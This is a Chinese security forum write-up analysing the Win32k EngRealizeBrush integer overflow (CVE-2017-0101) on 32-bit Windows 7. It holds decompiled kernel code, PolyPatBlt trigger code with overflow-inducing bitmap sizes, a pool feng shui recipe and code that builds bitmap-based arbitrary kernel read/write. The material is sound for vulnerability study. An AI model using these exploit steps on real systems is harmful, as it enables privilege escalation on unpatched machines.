CVE-2017-0101-Win32k提权分析笔记
2019-12-28 19:04:33 Author: bbs.pediy.com(查看原文) 阅读量:471 收藏

[原创]CVE-2017-0101-Win32k提权分析笔记

5小时前 157

[原创]CVE-2017-0101-Win32k提权分析笔记

    学习内核提权相关知识,拿CVE-2017-0101这个漏洞练习,于是有了这篇笔记。CVE-2017-0101是位于Win32K中的一个整形溢出漏洞,通过利用可实现内核提权。学习过程中,查阅了很多资料,尤其是xiaodao师傅的博客文章,给予了莫大的帮助。阅读xiaodao师傅博客,深感到师傅内功的深厚,无比佩服。本篇笔记以初学者的视角,尽量避开太多的Windows内核GDI内部实现逻辑相关知识,对该漏洞进行分析,调试,最终POC内核提权。         

    原xiaodao师傅最终pool fengshui 最终使用Bitmap+Palette实现,关键内存布局为0xDF8-0x1F0-0x18。我对其进行修改,使用Btimap+Bitmap实现,关键布局方式为0xD88-0x260-0x18。

    环境: x86  win7 sp1 

粗略分析理解漏洞过程:

    定位漏洞代码位置可选择找到对应补丁修复后,使用diff工具对比其函数差异定位到对应函数代码片段,阅读相关公开信息,我们可知漏洞发生在Win32k-EngRealizeBrush函数内,此处直接贴出该部分代码,后续所有讨论都基于该函数代码。

signed int __stdcall EngRealizeBrush(struct _BRUSHOBJ *a1, struct _SURFOBJ *a2, struct _SURFOBJ *a3, struct _SURFOBJ *a4, struct _XLATEOBJ *a5, unsigned int a6)
{
  struct SURFACE *v6; // ebx@1
  struct SURFACE *v7; // eax@1
  signed int v8; // edi@1
  int v9; // eax@1
  _WORD *v10; // ebx@1
  signed int v11; // ecx@9
  unsigned int v12; // ebx@31
  LONG v13; // ecx@32
  LONG v14; // edx@32
  signed int v15; // eax@32
  int v16; // esi@38
  bool v18; // zf@44
  struct _BRUSHOBJ *v19; // ebx@44
  int v20; // eax@44
  LONG v21; // eax@44
  LONG v22; // ecx@46
  struct _SURFOBJ *v23; // eax@46
  int v24; // ecx@48
  int v25; // eax@55
  bool v26; // cf@55
  struct SURFACE *v27; // eax@59
  int v28; // ecx@63
  struct _BRUSHOBJ *v29; // edi@63
  struct _SURFOBJ *v30; // edx@66
  void *v31; // esi@71
  struct _RECTL *v32; // ecx@73
  struct _SURFOBJ *v33; // ebx@82
  struct _SURFOBJ *v34; // eax@83
  LONG v35; // ecx@90
  LONG v36; // ebx@90
  void *v37; // ST14_4@90
  LONG v38; // esi@92
  struct _SURFOBJ *v39; // eax@95
  LONG v40; // eax@97
  signed int v41; // [sp-4h] [bp-A4h]@10
  struct _RECTL v42; // [sp+Ch] [bp-94h]@55
  struct _POINTL v43; // [sp+1Ch] [bp-84h]@55
  struct _SURFOBJ *v44; // [sp+24h] [bp-7Ch]@46
  LONG v45; // [sp+28h] [bp-78h]@46
  LONG v46; // [sp+2Ch] [bp-74h]@46
  int v47; // [sp+34h] [bp-6Ch]@46
  int v48; // [sp+38h] [bp-68h]@46
  unsigned __int32 v49; // [sp+3Ch] [bp-64h]@31
  int v50; // [sp+40h] [bp-60h]@36
  int v51; // [sp+44h] [bp-5Ch]@48
  int v52; // [sp+48h] [bp-58h]@48
  int v53; // [sp+4Ch] [bp-54h]@38
  LONG v54; // [sp+50h] [bp-50h]@32
  LONG v55; // [sp+54h] [bp-4Ch]@32
  int v56; // [sp+58h] [bp-48h]@36
  unsigned __int32 v57; // [sp+5Ch] [bp-44h]@59
  struct SURFACE *v58; // [sp+60h] [bp-40h]@1
  int v59; // [sp+64h] [bp-3Ch]@55
  unsigned int v60; // [sp+68h] [bp-38h]@31
  struct SURFACE *v61; // [sp+6Ch] [bp-34h]@1
  int v62; // [sp+70h] [bp-30h]@1
  struct _SURFOBJ *v63; // [sp+74h] [bp-2Ch]@46
  char v64; // [sp+78h] [bp-28h]@46
  struct SURFACE *v65; // [sp+7Ch] [bp-24h]@1
  unsigned int v66; // [sp+80h] [bp-20h]@39
  LONG v67; // [sp+84h] [bp-1Ch]@1
  LONG v68; // [sp+88h] [bp-18h]@1
  struct _RECTL v69; // [sp+8Ch] [bp-14h]@48
  char v70; // [sp+9Ch] [bp-4h]@1

  v58 = SURFOBJ_TO_SURFACE(a2);                 // v11 v8 参数 决定源头
  v6 = SURFOBJ_TO_SURFACE(a3);                  // v68参数 源头对象
  v65 = v6;
  v7 = SURFOBJ_TO_SURFACE(a4);                  // a13,a14参数 源头对象
  v8 = *((_DWORD *)v6 + 8);
  a4 = 0;
  v61 = v7;
  a3 = (struct _SURFOBJ *)*((_DWORD *)v58 + 0xF);// iBitmapFormat  OBJ+0x2C
  v68 = *((_DWORD *)v6 + 9);
  v9 = *((_DWORD *)v58 + 7);
  v67 = v8;
  v10 = 0;
  v62 = v9;
  HTSEMOBJ::HTSEMOBJ((HTSEMOBJ *)&v70, 1);
  if ( PDEVOBJ::pDevHTInfo((PDEVOBJ *)&v62) || PDEVOBJ::bEnableHalftone((PDEVOBJ *)&v62, 0) )
    v10 = PDEVOBJ::pDevHTInfo((PDEVOBJ *)&v62);
  if ( a3 != (struct _SURFOBJ *)1 )
  {
    if ( a3 == (struct _SURFOBJ *)2 )
    {
      v11 = 4;
      if ( v8 == 8 )
        v8 = 8;
      else
        v8 = (v8 + 15) & 0xFFFFFFF8;
      goto LABEL_30;
    }
    if ( a3 == (struct _SURFOBJ *)3 )
    {
      v11 = 8;
    }
    else
    {
      if ( a3 == (struct _SURFOBJ *)4 )
      {
        v41 = 16;
      }
      else
      {
        if ( (struct _SURFOBJ *)((char *)a3 - 4) != (struct _SURFOBJ *)1 )
        {
          v11 = 32;
          goto LABEL_30;                        // ************
        }
        v41 = 24;
      }
      v11 = v41;
    }
    v8 = (v8 + 7) & 0xFFFFFFFC;
    goto LABEL_30;
  }
  v11 = 1;
  if ( v8 == 0x20 || v8 == 0x10 || v8 == 8 )
  {
    v8 = 0x20;
    a2 = (struct _SURFOBJ *)0x20;
    if ( !v10 )
      goto LABEL_31;
    if ( v10[2] == 10 )
    {
      v8 = 0xA0;
    }
    else if ( v10[2] == 12 )
    {
      v8 = 0x60;
    }
    else
    {
      if ( v10[2] != 14 )
        goto LABEL_31;
      v8 = 0xE0;
    }
    a4 = (struct _SURFOBJ *)1;
  }
  else
  {
    v8 = (v8 + 63) & 0xFFFFFFE0;
  }
LABEL_30:
  a2 = (struct _SURFOBJ *)v8;
LABEL_31:
  v60 = (unsigned int)(v11 * v8) >> 3;
  v49 = v60 * v68;
  v12 = v60 * v68 + 0x44;
  if ( v61 )
  {
    v13 = *((_DWORD *)v61 + 8);                 // v13   A4->_SURFOBJ->sizlBitmap
    v14 = *((_DWORD *)v61 + 9);                 // v14   A4->_SURFOBJ->sizlBitmap
    v15 = 0x20;
    v54 = v13;
    v55 = v14;
    if ( v13 != 0x20 && v13 != 0x10 && v13 != 8 )
      v15 = (v13 + 0x3F) & 0xFFFFFFE0;
    v56 = v15;
    v50 = v15 >> 3;
    v12 += (v15 >> 3) * v14;
  }
  if ( gpCachedEngbrush )
  {
    v16 = InterlockedExchange(&gpCachedEngbrush, 0);
    v53 = v16;
    if ( v16 )
    {
      v66 = v12 + 64;
      if ( v12 + 64 > v12 && *(_DWORD *)(v16 + 4) >= v12 + 64 )
        goto LABEL_44;
      ExFreePoolWithTag((PVOID)v16, 0);
    }
  }
  v66 = v12 + 0x40;
  v16 = (int)PALLOCMEM(v12 + 0x40, 'rbeG');
  v53 = v16;
  if ( !v16 )
  {
LABEL_43:
    HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
    return 0;
  }
LABEL_44:
  v18 = a4 == 0;
  v19 = a1;
  v20 = v66;
  *((_DWORD *)a1 + 5) = v16;
  *(_DWORD *)(v16 + 4) = v20;                   // 申请的结构体大小
  *(_DWORD *)(v16 + 0x1C) = v60;                // ((32 * bitmapw) >> 3)
  *(_DWORD *)(v16 + 0x10) = v8;                 // bitmapw
  v21 = v8;
  if ( v18 )
    v21 = v67;
  v22 = v68;
  *(_DWORD *)(v16 + 0x14) = v21;
  *(_DWORD *)(v16 + 0x18) = v22;
  *(_DWORD *)(v16 + 0x20) = v16 + 0x40;
  v23 = a3;
  *(_DWORD *)(v16 + 0x3C) = a3;                 // A3->_SURFOBJ->iBitmapFormat
  v46 = v22;
  v44 = v23;
  v47 = 0;
  v48 = 1;
  v63 = 0;
  v64 = 0;
  v45 = v8;
  SURFMEM::bCreateDIB((SURFMEM *)&v63, (struct _DEVBITMAPINFO *)&v44, *(PVOID *)(v16 + 0x20), 0, 0, 0, 0, 0, 1);
  if ( !v63 )
    goto LABEL_47;
  v24 = *((_DWORD *)v19 + 9);
  v51 = 0;
  v52 = 0;
  v69.left = 0;
  v69.top = 0;
  v69.right = v67;
  v69.bottom = v68;
  a1 = (struct _BRUSHOBJ *)(*((_DWORD *)v19 + 8) == v24);
  HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
  if ( a3 == (struct _SURFOBJ *)1 )
  {
    if ( a6 < 0xC )
      goto LABEL_81;
    if ( !a1 )
      goto LABEL_55;
  }
  if ( a3 == (struct _SURFOBJ *)2 && *((_BYTE *)v19 + 48) & 5 && (!a1 || !(*((_DWORD *)v19 + 19) & 0x20000)) )
  {
LABEL_55:
    v25 = *((_DWORD *)v58 + 7);
    v42 = v69;
    v26 = a6 < 6;
    v60 = 0;
    v59 = 0;
    a1 = 0;
    v43.x = 0;
    v43.y = 0;
    *((_DWORD *)v63 + 7) = v25;
    v66 = 0;
    if ( (v26 || *((_DWORD *)v19 + 19) & 0x20000)
      && *((_BYTE *)v19 + 48) & 5
      && (!v26 ? (v57 = *((_DWORD *)v19 + 8), v27 = (struct SURFACE *)*((_DWORD *)v19 + 9)) : (v57 = *((_DWORD *)v19 + 9),
                                                                                               v27 = (struct SURFACE *)*((_DWORD *)v19 + 3)),
          (v58 = v27, PALMEMOBJ::bCreatePalette((PALMEMOBJ *)&v59, 1u, 2u, &v57, 0, 0, 0, 0x400u))
       && EXLATEOBJ::bInitXlateObj(
            (int *)&a1,
            *((_DWORD *)v19 + 11),
            *((_DWORD *)v19 + 12),
            v59,
            *(_DWORD *)(*((_DWORD *)v19 + 13) + 80),
            *((_DWORD *)v19 + 15),
            *((_DWORD *)v19 + 15),
            *((_DWORD *)v19 + 8),
            *((_DWORD *)v19 + 9),
            0xFFFFFF,
            0)) )
    {
      v28 = *((_DWORD *)v65 + 20);
      v29 = a1;
      *((_DWORD *)v65 + 20) = 0;
      v66 = v28;
    }
    else
    {
      v29 = a5;
    }
    if ( a3 == (struct _SURFOBJ *)1 && (v30 = 0, a4) )
    {
      v69.right = (LONG)a2;
      if ( v63 )
        v30 = (struct _SURFOBJ *)((char *)v63 + 16);
      EngHTBlt(v30, (struct SURFACE *)((char *)v65 + 16), 0, 0, (int)v29, 0, (int)&v43, (int)&v69, (int)&v42, 0, 64, 0);
    }
    else if ( (struct _SURFOBJ *)v69.left != a2 )
    {
      v31 = (char *)v65 + 16;
      do
      {
        if ( v63 )
          v32 = (struct _RECTL *)((char *)v63 + 16);
        else
          v32 = 0;
        EngStretchBlt(v32, v31, 0, 0, v29, 0, &v43, &v69, &v42, 0, 4u);
        v69.left = v69.right;
        v69.right += v67;
        if ( v69.right > (signed int)a2 )
          v69.right = (LONG)a2;
      }
      while ( (struct _SURFOBJ *)v69.left != a2 );
    }
    if ( v66 )
      *((_DWORD *)v65 + 20) = v66;
    EXLATEOBJ::vAltUnlock((EXLATEOBJ *)&a1);
    PALMEMOBJ::~PALMEMOBJ((PALMEMOBJ *)&v59);
    v16 = v53;
    goto LABEL_88;
  }
LABEL_81:
  if ( v69.left != v8 )
  {
    v33 = (struct SURFACE *)((char *)v65 + 16);
    do
    {
      v34 = v63;
      if ( v63 )
        v34 = (struct _SURFOBJ *)((char *)v63 + 16);
      EngCopyBits(v34, v33, 0, (int)a5, (int)&v69, (int)&v51);
      v69.left = v69.right;
      v69.right += v67;
      if ( v69.right > v8 )
        v69.right = v8;
    }
    while ( v69.left != v8 );
  }
LABEL_88:
  HTSEMOBJ::vAcquire((HTSEMOBJ *)&v70);
  if ( v61 )
  {
    v35 = v55;
    v36 = v56;
    *(_DWORD *)(v16 + 52) = v50;
    *(_DWORD *)(v16 + 40) = v54;
    *(_DWORD *)(v16 + 48) = v16 + v49 + 64;
    *(_DWORD *)(v16 + 44) = v35;
    *(_DWORD *)(v16 + 36) = v36;
    v44 = (struct _SURFOBJ *)1;
    v46 = v35;
    v48 = 1;
    v45 = v36;
    v47 = 0;
    v37 = *(void **)(v16 + 48);
    v67 = 0;
    LOBYTE(v68) = 0;
    SURFMEM::bCreateDIB((SURFMEM *)&v67, (struct _DEVBITMAPINFO *)&v44, v37, 0, 0, 0, 0, 0, 1);
    if ( !v67 )
    {
      SURFMEM::~SURFMEM((SURFMEM *)&v67);
LABEL_47:
      SURFMEM::~SURFMEM((SURFMEM *)&v63);
      goto LABEL_43;
    }
    v38 = v54;
    v51 = 0;
    v52 = 0;
    v69.left = 0;
    v69.top = 0;
    v69.right = v54;
    v69.bottom = v55;
    HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
    if ( v69.left != v36 )
    {
      a6 = (unsigned int)v61 + 16;
      do
      {
        if ( v67 )
          v39 = (struct _SURFOBJ *)(v67 + 16);
        else
          v39 = 0;
        EngCopyBits(v39, (struct _SURFOBJ *)a6, 0, 0, (int)&v69, (int)&v51);
        v40 = v69.right;
        v69.right += v38;
        v69.left = v40;
        if ( v69.right > v36 )
          v69.right = v36;
      }
      while ( v69.left != v36 );
    }
    HTSEMOBJ::vAcquire((HTSEMOBJ *)&v70);
    SURFMEM::~SURFMEM((SURFMEM *)&v67);
  }
  else
  {
    *(_DWORD *)(v16 + 48) = 0;
  }
  SURFMEM::~SURFMEM((SURFMEM *)&v63);
  HTSEMOBJ::vRelease((HTSEMOBJ *)&v70);
  return 1;
}

    通过分析Win32k-EngRealizeBrush可知,函数内由于存在一处整形溢出。该函数内在对要使用的ENGBRUSH对象进行内存申请时(即下图中PALLOCMEM申请pool tag为”Gebr”的对象内存,该对象类型即为ENGBRUSH),由于其使用到的申请大小相关变量v12可溢出、可控,从而导致我们可以利用该溢出点,通过构造小于其标准对象大小的ENGBRUSH对象,进而在其后续对象成员初始化时,可越界操作到其对象内存以外区域,进一步有机会通过布局内存,达到利用目的。

    

    

    通过下图(只会注释,不会画图)注释图可理解,如果想要精确的攻击到指定的内存布局对象,首先需要搞清楚的问题是漏洞处代码在ENGBRUSH对象申请内存前的大小计算过程,该过程可通过动态调试结合静态分析来完成。

    

静态分析漏洞代码关键过程:

    首先我们静态分析漏洞函数处相关代码可知,ENGBRUSH对象申请的大小的决定因素为v12变量,v12最终的计算过程为通过下述代码获得(另外此处可看到有gpCachedEngbrush缓存策略,调试时有如有合适缓存大小,将不申请内存直接使用缓存,故代码测试调试前可注销系统等操作避开此处判断):

    

    接下来分析v12不包括自身初始值的影响部分((v15 >> 3) * v14),从后向前经历以下流程:

    首先其影响来自v15,v14:

    v12 += (v15 >> 3) * v14;

    v15影响来自v13或v15为定值0x20:

    v15 = (v13 + 0x3F) & 0xFFFFFFE0

    v13影响来自v61:

    v13 = *((_DWORD *)v61 + 8);

    V14影响来自v61:

    v14 = *((_DWORD *)v61 + 9);

    递进整理下前后关系流程:

(v15 >> 3) * v14;

     v15=(v13 + 0x3F) & 0xFFFFFFE0

          V13=*((_DWORD *)v61 + 8);

     v14=*((_DWORD *)v61 + 9);

          V14=*((_DWORD *)v61 + 9);

    分析到此处可知,影响该部分计算结果的成员为*((_DWORD *)v61 + 8),*((_DWORD *)v61 + 9)处数值。接下来继续分析v61的由来,回溯到函数头部,可看出,v61来自v7,而v7通过SURFOBJ_TO_SURFACE(a4)得来,a4为EngRealizeBrush函数形参,一个SURFOBJ对象。

    查看SURFOBJ_TO_SURFACE()函数代码可知其本质即为指向参数SURFOBJ(a1)-0x10处,而查看SURFACE对象结构也可进一步确认,SURFOBJ就是SURFACE对象其0x10处的一个成员。回到关注点,此时我们关心v61 + 8/9处的值,即指向v61偏移0x20和0x24,也就是指向SURFACE(v7)对象偏移0x20和0x24处,SURFOBJ(a4)对象0x10和0x14处,查看结构相应说明即为SURFOBJ->sizlBitmap成员,该成员保存了一个Bitmap图像的像素宽高。    

    最后梳理上述分析到的部分公式:

    (v15 >> 3) * v14;

    =((v13 + 0x3F) & 0xFFFFFFE0或 0x20)>>3*v14

    =(((v13 + 0x3F) & 0xFFFFFFE0) 或 0x20)>>3*v14

    =((((*((_DWORD *)v61 + 8)) + 0x3F) & 0xFFFFFFE0) 或 0x20)>>3*(*((_DWORD *)v61 + 9))

    =(((a4对象的像素宽+ 0x3F) & 0xFFFFFFE0)或 0x20)>>3* a4对象的像素高

    接下来继续分析v12值的初始化部分过程,过程同上述分析流程得到以下递进关系:

v12 = v60 * v68 + 0x44;

    v60 = (unsigned int)(v11 * v8) >> 3;

         v11取决于局部变量a3(switch)//注意此a3不是函数传参对象a3

         a3 = (struct _SURFOBJ *)*((_DWORD *)v58 + 0xF)

              v58 = SURFOBJ_TO_SURFACE(a2)

         v8 = *((_DWORD *)v6 + 8);

              v6 = SURFOBJ_TO_SURFACE(a3)

    v68 = *((_DWORD *)v6 + 9);

         v6 = SURFOBJ_TO_SURFACE(a3);

    梳理流程可得以下公式:

    v12 = v60 * v68 + 0x44;

    v12 = v60 * (*((_DWORD *)v6 + 9)) + 0x44;

    v12 = v60 * (*((_DWORD *)SURFOBJ_TO_SURFACE(a3) + 9)) + 0x44;

    v12 = v60 * (a3对象的像素高) + 0x44;

    v12 = ((v11 * v8) >> 3) * (a3对象的像素高) + 0x44;

    v12 = ((v11 * (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44;

   

由于v11的取值取决于SURFOBJ_TO_SURFACE(a2)后0xF偏移处值,即a2对象2c处,根据结构相应说明即为iBitmapFormat值,则最终得到以下结论。

v12 = ((取决于 a2.iBitmapFormat -switch数值* (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44;

    最终梳理两部分最终的关键公式:

    v12+部分:

    (((a4对象的像素宽+ 0x3F) & 0xFFFFFFE0)或 0x20)>>3* a4对象的像素高

    v12 初始部分:

    v12 = ((取决于 a2.iBitmapFormat * (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44;

    总结静态分析结论可知影响最终的v12可控溢出因素均来自EngRealizeBrush函数参数 a2,a3,a4 ,类型为SURFOBJ,具体影响来自以下成员

    1.a4(SURFOBJ)对象的像素宽和高,offset:0x10

    2.a2(SURFOBJ)对象的iBitmapFormat 成员,offset:0x2c

    3.a3(SURFOBJ)对象的像素宽和高,offset:0x10

动态分析漏洞代码关键过程:

    通过静态分析,我们已经大概的了解到影响溢出的关键公式流程,接下来还要通过动态分析,来进一步确认静态分析的结论,同时对静态分析过程中的未确认部分进行进一步探索(例如a2.iBitmapFormat最终switch后的分支到达结果)。

    首先在漏洞代码处关键位置下断点,通过栈回溯找到可以触发漏洞的3环代码路径(此处注意,实际测试下断点后操作系统内窗口短时间并未断下,可以尝试通过打开浏览器,注销,锁定机器等拥有较多复杂UI操作过程的动作,快速让系统断到我们希望调试的代码处)。通过观察断下的堆栈情况,我们可知通过使用gdi32!PolyPatBlt可触发到达EngRealizeBrush过程ENGBRUSH对象初始化处。


    接下来我们还需要了解如何编写3环代码使用PolyPatBlt,来进行下一步的验证调试工作。由于该函数未文档化,我尝试通过在reactos 系统源代码中寻找一些答案(xiaodao师傅已经直接给了使用方法,但还是要了解过程和方法),下图为系统源码中其正确的调用方式和所需参数的定义,通过参考系统代码的方法,可较快速分析,掌握该api相关用法。


    经过查看reactos,结合xiaodao师傅给出的答案,了解3环测试代码写法后,接下来直接使用下述代码调试。

typedef BOOL (WINAPI *PFN_PolyPatBlt)(
	HDC hdc,
	DWORD rop,
	PVOID pPoly,
	DWORD Count,
	DWORD Mode
);
PFN_PolyPatBlt PfnPolyPatBlt = NULL;
typedef struct _PATRECT {
	INT nXLeft;
	INT nYLeft;
	INT nWidth;
	INT nHeight;
	HBRUSH hBrush;
} PATRECT, *PPATRECT;
void Test()
{
	HDC hdc = GetDC(NULL);
	HBITMAP hbmp = CreateBitmap(0x12, 0x123, 1, 1, NULL);
	HBRUSH hbru = CreatePatternBrush(hbmp);
	PfnPolyPatBlt = (PFN_PolyPatBlt)GetProcAddress(GetModuleHandleA("gdi32"), "PolyPatBlt");
	PATRECT ppb[1] = { 0 };
	ppb[0].nXLeft = 0x100;
	ppb[0].nYLeft = 0x100;
	ppb[0].nWidth = 0x100;
	ppb[0].nHeight = 0x100;
	ppb[0].hBrush = hbru;
	PfnPolyPatBlt(hdc, PATCOPY, ppb, 1, 0);
}

    通过在EngRealizeBrush头下断,调试观察我们关心的EngRealizeBrush参数a2,a3,a4,断下后首先观察堆栈中的函数参数(下图红框从左到右分别为EngRealizeBrush参数a1-a4)


    经过反复调试,可以发现a4始终为空,经过上述静态分析可知,当a4为空时,v12+部分不参与运算。也就是说上述的关键两部分计算,由于a4对象未使用,现在只需要关心v12初始计算过程:

    v12 初始计算过程关键取决于a2.iBitmapFormat(offset:0x2c)和a3对象的像素宽高(offset:0x10),经过多次调试,我们可知a2.iBitmapFormat始终为0x6,而a3对象的像素宽高即为我们测试代码中指定与Brush绑定的bitmap宽高。


    接下来,需要关心的是,当a2.iBitmapFormat值为6时,最终执行的switch将影响的公式中v11关键数值,还有当前3环代码最终影响0环生成ENGBRUSH对象的大小。调试可知,当a2.iBitmapFormat为6时,switch最终影响v11值为32(0x20)。


    最终申请出的ENGBRUSH对象申请处的内存大小为0x525c


    验证我们静态分析中得到的公式:

    v12 = ((取决于 a2.iBitmapFormat * (a3对象的像素宽)) >> 3) * (a3对象的像素高) + 0x44

           =((0x20*0x12)>>3)*0x123+0x44

           =0x521C(+0x40=0x521C)

    公式得到的结果与调试后最终的结果一致。至此,分析清楚了3环代码和0环EngRealizeBrush中ENGBRUSH对象申请大小的关系,即为下述公式:

    公式:((0x20*Bitmap-W)>>3)*Bitmap-H+0x44

    0x20固定值说明:通过阅读xiaodao师傅的文章可知,该值取决于当前显示器颜色配置,当前显示器为真彩色32位,所以a2.iBitmapFormat值为枚举值6时,v11则固定0x20。

 

    经过上述分析过程,可以清晰的了解了从3环到达漏洞代码处的整个流程,我们通过得到的ENGBRUSH初始化大小公式结合对应的3环代码,可以精准的控制溢出值。进而构造出一个越界写的ENGBRUSH对象供给我们利用,进一步展接下来的工作。

    此时,我们需要使漏洞代码处构造出一个大小为0x10的ENGBRUSH对象,这个值和我们后续要利用的方式有关,漏洞处代码在进行ENGBRUSH对象申请成功后,会对其进行对象成员初始化赋值,我们的关注点聚焦在其 *(_DWORD *)(v16 + 0x3C) = a3代码处。此时,v16为当前申请的ENGBRUSH对象内存首地址,a3为我们分析阶段分析到的EngRealizeBrush函数的第二个参数a2->iBitmapFormat。如果我们通过整形溢出,将ENGBRUSH对象申请内存大小控制为0x10,对其对象0x3c*4偏移处写则会产生越界,此时ENGBRUSH对象后紧跟我们精心布局后的一个可利用对象,则有了进一步利用的机会, 将分析阶段中的代码创建Bitmap其宽(0x36d)高(0x12AE8F)进行修改,可获得一个0x10大小的ENGBRUSH对象,由于无符号整形最大只有8位,溢出后申请的内存大小变成了0x10,又由于32位系统中,pool header占8字节空间,所以此时对象占用的整个空间大小为0x18。

((0x20*0x36d)>>3)*0x12AE8F+0x44+0x40

=0x100000010=》溢出后0x10=》+ pool header:0x18



    控制漏洞代码处的ENGBRUSH对象大小为0x10(0x18)后,我们还需要在其后布局一个可供扩展利用的对象,此处选择使用Bitmap对象,原因为Bitmap对象3环可通过Get/SetBitmapBits进行数据读写,其操作数据部分位于对象末尾,其大小取决于对象成员的像素宽高(sizlBitmap.cy)。此时,我们通过创建一个较小的高度值的Bitmap(1),使a2.iBitmapFormat越界写后续的Bitmap高度为6,则扩展了该Bitmap的读写能力。进而能得到一定范围内的Bitmap越界任意读写。此处直接引用xiaodao师傅文章中的注解图,图中SURFACE即为我们要布局的Bitmap对象,ENGBRUSH对象中的iFormat即为该对象越界初始化时,写入的a2->iBitmapFormat,屏幕32位色下,该值为6,后续将越界操作将会改写Bitmap对象中的sizlBitmap.cy像素高度,剩余红色部分为同时被破坏的Bitmap占用的内存块其它成员(后续需要修复)。


    接下来进行的pool fengshui过程,以便展开下一步的工作,原xiaodao师傅POC使用0xDF8(Bitmap)--0x1F0(Palette)---0x18的方式进行内存布局,我进行了修改,使用0xD88(Bitmap)--0x260(Bitmap)---0x18的布局方式。下面使用注释图解释说明,能更清晰的说明问题(U标识使用,R代码释放,一行一个内存页):

1.创建2000个大小0xFE8的Bitmap对象进行内存占位,此时系统中会存在大量0x18的内存页末尾间隙,目的主要为了切割内存。


2.创建3000个大小0x18的窗口类对象(窗口类名UNICODESTRING被分配在非分页内存中,且可控)进行内存间隙占位,大于2000是为了将系统中本身就存在的0x18间隙进行填充。

3.将步骤1中的2000个Bitmap对象进行释放(目的进一步切割该区域内存,通过放置两个相邻原语对象进行越界操作)


4.创建2000个大小0xD88的Bitmap对象进行内存占位,此时内存中会出现大量的0x260的内存间隙


5.创建3000个大小0x260的Bitmap进行内存占位。

6.释放一部分创建的0x18对象,此时内存各分页中会出现大量以下布局的0x18大小的内存间隙。


7.触发漏洞溢出申请ENGBRUSH对象,此时会从步骤6中产生的布局好的内存页中随机使用一个0x18内存间隙,用于存放ENGBRUSH对象。


    使用上述内存布局,最终可通过越界的ENGBRUSH,将下一个分页内存头部的Bimap对象进行越界读写增大其读写能力,当头部Bitmap扩展了其读写能力后,则可对紧跟其后的Bitmap对象进行任意读写,通过修改Bitmap其pvScan0,最终来构造出(mgr,worker)任意内存读写对象,此处具体利用知识点可查询论坛内相关Bitmap滥用文章。(https://bbs.pediy.com/thread-225209.htm)。

    而由于对象越界写,会导致下一个对象内存处的pool header 被破坏,此时会立即产生BSOD,因此我们选择将申请的0x10(0x18)大小的ENGBRUSH对象放置到内存页末尾,让其越界写下一个内存分页处的Bitmap对象,避免立刻产生的蓝屏,同时,还需要修复上图中SURFACE->BASEOBJECT->hHmgr,该成员即为Bitmap对象的句柄值。

    具体实现过程中可能会有以下问题:

    1.如何定位到我们内存布局越界处的内核地址

    答:可以遍历当前创建的所有页首Bitmap,对其进行GetBitmapBits读测试,由于我POC中用到的所有大小为0xD88的页首Bitmap,其宽高为别为0xc2c, 0x1,其原始读写能力则为0xc2c,又因为ENGBRUSH越界写导致其增大,变成了0xc2c*0x6=0x4908,通过尝试读大于0xc2c数据块即可在3环确认到该Bitmap其Handle,随后结合GdiSharedHandleTable内核地址泄漏即可获得我们需要利用处的相关内核地址。

    2.如何修复损坏了的pool header

    答:查阅pool headr结构相关说明可知,我们pool fengshui后,被破坏pool header下一页内存头存放的完整Bitmap对象由于其分配过程,类型索引,分配大小,分配状态与其一致,即因此我们可以从下一页中读取到正确修复的pool header。


    3.如何读取到 损坏 pool header处的下一页内存信息

    当我们0xD88大小的Bitmap对象拥有了越界读能力后,可读范围为0x4908,而正常情况下该对象拥有的读取能力未0xc2c,通过越界读,我们即可读取到下接下来至少4个内存页的内存信息。编写代码读取打印内容可以很容易判断出来越界读成功,例如下图中垫片Bitmap(0x260)对象位于194行第12列(194*16+12=0xc2c即不越界的原始读写能力),该位置处的垫片Bitmap其像素宽高位0x42,0x1。利用该点,我们还可以读取到该对象下一个内存页的信息,下一页头poolheader即为我们损坏的poolheader的修复值(偏移即为+0xc2c+0x260+0x18处的8字节内容)。


    修复构造任意读写相关代码:

void BuildArbitraryWR()
{
	byte *p = malloc(0x1000);
	for (unsigned int i = 0; i < Bitmap_Count; i++)
	{
		memset(p, 0, 0x1000);
		long iLeng = GetBitmapBits(g_aryhBitmapxD88[i], 0x1000, p);
		printf("Read Len %08X\r\n", iLeng);
		if (iLeng < 0xCA0)
		{
			continue;
		}
		g_fixPoolhead0 = *(DWORD*)(p + 0xc2c+ 0x260 + 0x18);
		g_fixPoolhead1 = *(DWORD*)(p + 0xc2c + 0x260 + 0x18 + 4);
		g_fixBaseObjHanlde = g_aryhBitmapxD88[i];
		g_nextBitmapHanlde = *(DWORD*)(p + 0xc2c + 8);
		printf("%08X %08X %08X %08x\r\n", g_fixPoolhead0, g_fixPoolhead1, g_fixBaseObjHanlde, g_nextBitmapHanlde);

		PVOID pGdiSharedHandleTable = GetGdiSharedHandleTable32();
		PVOID wpv = getpvscan0(pGdiSharedHandleTable, g_fixBaseObjHanlde);
		g_fixPoolHeadAddr = (DWORD)wpv - 0x30 - 0x8;
		g_fixBaseOBJhandleAddr = (DWORD)wpv - 0x30;
		*(PDWORD)(p + 0xc2c + 0x8 +0x10 +0x20) = (DWORD)wpv;
		SetBitmapBits(g_aryhBitmapxD88[i], 0x1000, p);
		PrintBitmapBits(p, iLeng);
		break;
	}
	free(p);
	p = NULL;
}

    POC完成后简单调试观察下整个提权过程:

    首先在对象申请处下断点,内存布局成功后,使用预期的3环代码触发漏洞处代码使其申请出0x18大小的ENGBRUSH对象,随后观察内存处信息,0xd88,0x260,0x18,满足我们的预期,随后再继续观察几个数值。

      

    0xFD9E200处为即将被溢出后越界写的Bitmap-pool header,可看到当前此Bitmap对象读写能力未0xc2c*0x1。

    0xFD9E2D88处为垫片Bitmap对象地址,该对象当前pvscan0值为0xfd9e2ee4,后期我们将修改此处使其作为Bitmap任意读写的Mgr对象。

    0xFD9E300处为我们大面积内存布局后的损坏pool header处下一内存分页处的大小为0xD88的Bitmap,后续修复损坏pool header从该处读取修复值。

    

    接下来在EngRealizeBrush函数末尾下断点,观察其ENGBRUSH对象其越界写后的内存状态,对比之前内存,可观察到0xFD9E200处被越界修改的Bitmap对象其PoolHeader已被破坏,BaseObj中的Handle也被破坏,其读写能力当前也被增大为0xc2c*0x6。

    

